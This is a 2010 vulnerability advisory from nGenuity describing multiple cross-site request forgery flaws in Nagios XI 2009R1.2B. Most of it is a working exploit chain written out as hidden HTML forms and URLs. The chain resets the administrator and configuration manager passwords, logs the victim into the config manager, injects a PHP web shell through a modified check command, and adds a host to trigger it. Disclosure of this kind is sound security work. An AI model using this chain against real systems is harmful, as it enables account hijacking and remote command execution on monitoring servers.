nGenuity

Nagios XI Multiple CSRF

Advisory Information

Advisory ID: NGENUITY-2010-006

Date published: Aug. 7, 2010

Vulnerability Information

Class: Cross-Site Request Forgery (CSRF)

Remotely Exploitable: Yes

Locally Exploitable: No

Software Description

Nagios XI is the commercial / enterprise version of the open source Nagios project.

Vulnerability Description

Nagios XI 2009R1.2B is vulnerable to multiple cross-site request forgery (CSRF) vulnerabilities. All of the privileged actions tested were vulnerable to CSRF.

Exploiting the identified vulnerabilities requires that the nagiosadmin be logged into the web interface. Note that the admin does not have to be logged into the configuration manager, the attacker can accomplish that themselves.

Technical Description

Reset the nagiosadmin password via CSRF

This can be useful to hijack the administrators account.
<input type='button' id='adminpassword' value='Set nagiosadmin Password'/>
<form name="adminpasswordform" 
    action="http://10.0.10.28/nagiosxi/account/main.php?page=acctinfo" 
    method="POST" target="hidden" class="invisible">
    <input type="input" name="defaultDateFormat" value="1" />
    <input type="input" name="defaultLanguage" value="en" />
    <input type="input" name="defaultNumberFormat" value="1" />
    <input type="input" name="defaultTheme" value="none" />
    <input type="input" name="email" value="adam@ngenuity-is.com" />
    <input type="input" name="name" value="Nagios Administrator" />
    <input type="input" name="password1" value="letmein1" />
    <input type="input" name="password2" value="letmein1" />
    <input type="input" name="update" value="1" />
</form>

Reset the configuration manager password

The attacker just has the victim visit the following URL. Even if the nagios admin is not logged into the configuration admin, the attacker can…

1. Force a password reset of the configuration manager
2. Log the nagiosadmin into the configuration manager
3. Create a simple web shell on the nagios server.

http://10.0.10.28/nagiosxi/admin/credentials.php?options=1
    &update=1
    &config_admin_password=letmein1
    &subsystem_ticket=2objrv9t6glq
    &config_backend_password=38ajpt

Log into the configuration manager with previously set password

<input type='button' id='login' value='Login to Config Manager' />
<form name='loginform' action=“http://10.0.10.28/nagiosql/index.php” method=“POST” target=“hidden” class=“invisible”>
    <input type=“input” name=“Submit” value=“Login”/>
    <input type=“input” name=“tfPassword” value=“letmein1”/>
    <input type=“input” name=“tfUsername” value=“nagiosadmin”/>
</form>

Modify nagios command to create a webshell when run

Note the \ before the ; in our php code is what makes this possible. Normally Nagios would not allow for a ; to be input into the command string unless escaped. PHP will happily still execute this code despite the \ being there.

<input type='button' id='modifycmd' value='Create Web Shell Command' />
<form name='modifycmdform' 
    action="http://10.0.10.28/nagiosql/admin/checkcommands.php" 
    method="POST" target="hidden" class="invisible">
    <input type="input" name="chbActive" value="1"/>
    <input type="input" name="hidActive" value=""/>
    <input type="input" name="hidId" value="3"/>
    <input type="input" name="hidLimit" value="0"/>
    <input type="input" name="modus" value="modify"/>
    <input type="input" name="selCommandType" value="1"/>
    <input type="input" name="tfCommand" 
        value='/bin/echo "<pre><?php echo system(\$$_GET[\"c\"])\; ?>
        </pre>" > /usr/local/nagiosxi/html/cmd.php' />
    <input type="input" name="tfName" value="check-host-alive"/>
</form>

Add a Host to make sure our command is triggered, and the web shell created.

Yes this is a long and boring form…

<form name='addhostform' action='http://1.2.3.4/nagiosql/admin/hosts.php' 
    method='POST' target='hidden' class='invisible'>
    <input type="input" name="chbActive" value="1"/>
    <input type="input" name="hidActive" value=""/>
    <input type="input" name="hidId" value=""/>
    <input type="input" name="hidLimit" value="0"/>
    <input type="input" name="hidName" value=""/>
    <input type="input" name="modus" value="insert"/>
    <input type="input" name="radActiveChecksEnabled" value="2"/>
    <input type="input" name="radContactGroups" value="1"/>
    <input type="input" name="radContacts" value="1"/>
    <input type="input" name="radEventEnable" value="2"/>
    <input type="input" name="radFlapEnable" value="2"/>
    <input type="input" name="radFreshness" value="2"/>
    <input type="input" name="radHostGroups" value="2"/>
    <input type="input" name="radNoStatusInfos" value="2"/>
    <input type="input" name="radNotifEnabled" value="2"/>
    <input type="input" name="radObsess" value="2"/>
    <input type="input" name="radParent" value="2"/>
    <input type="input" name="radPassiveChecksEnabled" value="2"/>
    <input type="input" name="radPerfData" value="2"/>
    <input type="input" name="radStatusInfos" value="2"/>
    <input type="input" name="selCheckPeriod" value="0"/>
    <input type="input" name="selEventHandler" value="0"/>
    <!-- Command we overwrote -->
    <input type="input" name="selHostCommand" value="3"/> 
    <input type="input" name="selNotifPeriod" value="3"/>
    <input type="input" name="selTemplate" value="2::1"/>
    <input type="input" name="tfActionURL" value=""/>
    <input type="input" name="tfAddress" value="4.2.2.2"/>
    <input type="input" name="tfArg1" value=""/>
    <input type="input" name="tfArg2" value=""/>
    <input type="input" name="tfArg3" value=""/>
    <input type="input" name="tfArg4" value=""/>
    <input type="input" name="tfArg5" value=""/>
    <input type="input" name="tfArg6" value=""/>
    <input type="input" name="tfArg7" value=""/>
    <input type="input" name="tfArg8" value=""/>
    <input type="input" name="tfCheckInterval" value=""/>
    <input type="input" name="tfD2Coords" value=""/>
    <input type="input" name="tfD3Coords" value=""/>
    <input type="input" name="tfDisplay" value=""/>
    <input type="input" name="tfFirstNotifDelay" value=""/>
    <input type="input" name="tfFreshTreshold" value=""/>
    <input type="input" name="tfFriendly" value="testpwn"/>
    <input type="input" name="tfGenericName" value=""/>
    <input type="input" name="tfHighFlat" value=""/>
    <input type="input" name="tfIconImage" value=""/>
    <input type="input" name="tfIconImageAlt" value=""/>
    <input type="input" name="tfLowFlat" value=""/>
    <input type="input" name="tfMaxCheckAttempts" value="5"/>
    <input type="input" name="tfName" value="testpwn"/>
    <input type="input" name="tfNotes" value=""/>
    <input type="input" name="tfNotesURL" value=""/>
    <input type="input" name="tfNotifInterval" value="0"/>
    <input type="input" name="tfRetryInterval" value=""/>
    <input type="input" name="tfStatusImage" value=""/>
    <input type="input" name="tfVmrlImage" value=""/>
    <input type="input" name="txtVariablename" value=""/>
    <input type="input" name="txtVariablevalue" value=""/>
</form>

References

• Nagios

Credits

This vulnerability was discovered by Adam Baldwin

Disclaimer

The contents of this advisory are copyright (c) nGenuity Information Security and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.